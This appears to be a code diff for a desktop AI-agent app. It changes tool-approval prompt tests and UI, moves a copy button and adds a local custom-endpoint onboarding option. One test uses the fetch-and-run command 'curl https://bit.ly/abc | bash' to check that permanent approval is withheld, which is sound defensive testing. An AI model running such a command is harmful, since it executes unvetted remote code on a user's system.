+  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
 }
 
 function mockGateway() {
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
       expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
     })
   })
+
+  it('offers "Always allow" in the options menu by default', async () => {
+    setRequest('chmod -R 777 /tmp/x')
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
+    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+  })
+
+  it('hides "Always allow" when the backend disallows a permanent allow', async () => {
+    // tirith content-security warning present → allowPermanent=false.
+    setRequest('curl https://bit.ly/abc | bash', false)
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    // The session + reject options still render, but never the permanent allow.
+    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
+  })
 })

apps/desktop/src/components/assistant-ui/tool-approval.tsx

@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
   // it goes through a confirm step rather than firing straight from the menu.
   const [confirmAlways, setConfirmAlways] = useState(false)
   const busy = submitting !== null
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  const allowPermanent = request.allowPermanent !== false
 
   const respond = useCallback(
     async (choice: ApprovalChoice) => {
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
           </DropdownMenuTrigger>
           <DropdownMenuContent align="start" className="min-w-44">
             <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
-            <DropdownMenuItem
-              onSelect={() => {
-                // Defer one tick so the menu fully unmounts before the dialog
-                // mounts — otherwise Radix's focus-return races the dialog and
-                // dismisses it via onInteractOutside.
-                setTimeout(() => setConfirmAlways(true), 0)
-              }}
-            >
-              {copy.alwaysAllowMenu}
-            </DropdownMenuItem>
+            {allowPermanent && (
+              <DropdownMenuItem
+                onSelect={() => {
+                  // Defer one tick so the menu fully unmounts before the dialog
+                  // mounts — otherwise Radix's focus-return races the dialog and
+                  // dismisses it via onInteractOutside.
+                  setTimeout(() => setConfirmAlways(true), 0)
+                }}
+              >
+                {copy.alwaysAllowMenu}
+              </DropdownMenuItem>
+            )}
             <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
               {copy.reject}
             </DropdownMenuItem>

apps/desktop/src/components/assistant-ui/tool-fallback.tsx

@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
 
   const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
 
+  // The header trailing slot only carries the live duration timer while the
+  // tool is running. The copy control used to live here too, but an
+  // `opacity-0` (yet still clickable) button straddling the caret/duration made
+  // the disclosure caret hard to hit. Copy now lives in the expanded body's
+  // top-right, where it can't fight the caret for the right edge.
   const trailing =
     isPending && !embedded ? (
       <ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
-    ) : !isPending && copyAction.text ? (
-      <CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
     ) : undefined
 
   return (
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
       </div>
       {isPending && <PendingToolApproval part={part} />}
       {open && (
-        <div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
+        <div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
+          {copyAction.text && (
+            <CopyButton
+              appearance="inline"
+              className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
+              iconClassName="size-3"
+              label={copyAction.label}
+              showLabel={false}
+              stopPropagation
+              text={copyAction.text}
+            />
+          )}
           {!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
             <PreviewAttachment source="tool-result" target={view.previewTarget} />
           )}

apps/desktop/src/components/assistant-ui/user-message-text.tsx

@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
   const nodes = useMemo(() => splitInlineCode(text), [text])
 
   return (
-    <span className="wrap-anywhere block whitespace-pre-line">
+    // styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
+    // UAX#9 paragraph so it resolves direction independently.
+    <span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
       {nodes.map((node, nodeIndex) =>
         node.kind === 'inline-code' ? (
           <code

apps/desktop/src/components/desktop-onboarding-overlay.test.tsx

@@ -26,7 +26,8 @@ function setProviders(providers: OAuthProvider[]) {
     reason: null,
     requested: false,
     firstRunSkipped: false,
-    manual: false
+    manual: false,
+    localEndpoint: false
   } satisfies DesktopOnboardingState)
 }
 
@@ -49,7 +50,8 @@ afterEach(() => {
     reason: null,
     requested: false,
     firstRunSkipped: false,
-    manual: false
+    manual: false,
+    localEndpoint: false
   })
 })
 

apps/desktop/src/components/desktop-onboarding-overlay.tsx

@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
 
 export function Picker({ ctx }: { ctx: OnboardingContext }) {
   const { t } = useI18n()
-  const { manual, mode, providers } = useStore($desktopOnboarding)
+  const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
   const [showAll, setShowAll] = useState(readShowAll)
   const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
   const hasOauth = ordered.length > 0
   const apiKeyOptions = useApiKeyCatalog()
 
-  if (mode === 'apikey' || !hasOauth) {
+  // localEndpoint forces the key form regardless of `mode` (which a manual
+  // provider refresh may flip back to 'oauth'); it preselects the local option
+  // and hides the "back to sign in" link since the user came specifically to
+  // configure a custom endpoint.
+  if (localEndpoint || mode === 'apikey' || !hasOauth) {
     return (
       <div className="grid gap-3">
         <ApiKeyForm
-          canGoBack={hasOauth}
+          canGoBack={hasOauth && !localEndpoint}
+          initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : undefined}
           onBack={() => setOnboardingMode('oauth')}
-          onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
+          onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
           options={apiKeyOptions}
         />
         {manual ? null : (
@@ -630,6 +635,7 @@ export function ProviderRow({
 // surfaces render the identical form.
 export function ApiKeyForm({
   canGoBack,
+  initialEnvKey,
   isSet,
   onBack,
   onClear,
@@ -638,16 +644,31 @@ export function ApiKeyForm({
   redactedValue
 }: {
   canGoBack: boolean
+  /** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
+   *  the local / custom endpoint form). Falls back to the first option. */
+  initialEnvKey?: string
   isSet?: (envKey: string) => boolean
   onBack: () => void
   onClear?: (envKey: string) => void
-  onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
+  onSave: (
+    envKey: string,
+    value: string,
+    name: string,
+    apiKey?: string
+  ) => Promise<{ message?: string; ok: boolean }>
   options?: ApiKeyOption[]
   redactedValue?: (envKey: string) => null | string | undefined
 }) {
   const { t } = useI18n()
-  const [option, setOption] = useState<ApiKeyOption>(options[0])
+
+  const [option, setOption] = useState<ApiKeyOption>(
+    () => options.find(o => o.envKey === initialEnvKey) ?? options[0]
+  )
+
   const [value, setValue] = useState('')
+  // Optional endpoint API key, only used by the local / custom endpoint option
+  // (whose `value` is the base URL). Cleared whenever the option changes.
+  const [localKey, setLocalKey] = useState('')
   const [saving, setSaving] = useState(false)
   const [error, setError] = useState<null | string>(null)
   // `options` can change at runtime when callers filter the catalog (e.g. the
@@ -657,6 +678,7 @@ export function ApiKeyForm({
     if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
       setOption(options[0])
       setValue('')
+      setLocalKey('')
       setError(null)
     }
   }, [option.envKey, options])
@@ -668,6 +690,7 @@ export function ApiKeyForm({
   const pick = (o: ApiKeyOption) => {
     setOption(o)
     setValue('')
+    setLocalKey('')
     setError(null)
     requestAnimationFrame(() => {
       entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
@@ -693,10 +716,11 @@ export function ApiKeyForm({
 
     setSaving(true)
     setError(null)
-    const result = await onSave(option.envKey, value, option.name)
+    const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
 
     if (result.ok) {
       setValue('')
+      setLocalKey('')
     } else {
       setError(result.message ?? t.onboarding.couldNotSave)
     }
@@ -759,6 +783,17 @@ export function ApiKeyForm({
           type={isLocal ? 'text' : 'password'}
           value={value}
         />
+        {isLocal ? (
+          <Input
+            autoComplete="off"
+            className="font-mono"
+            onChange={e => setLocalKey(e.target.value)}
+            onKeyDown={e => e.key === 'Enter' && void submit()}
+            placeholder={t.onboarding.localApiKeyPlaceholder}
+            type="password"
+            value={localKey}
+          />
+        ) : null}
         {error ? <p className="text-xs text-destructive">{error}</p> : null}
       </div>
 

apps/desktop/src/components/gateway-connecting-overlay.test.tsx

@@ -41,7 +41,8 @@ function resetStores() {
     reason: null,
     requested: false,
     firstRunSkipped: false,
-    manual: false
+    manual: false,
+    localEndpoint: false
   })
 }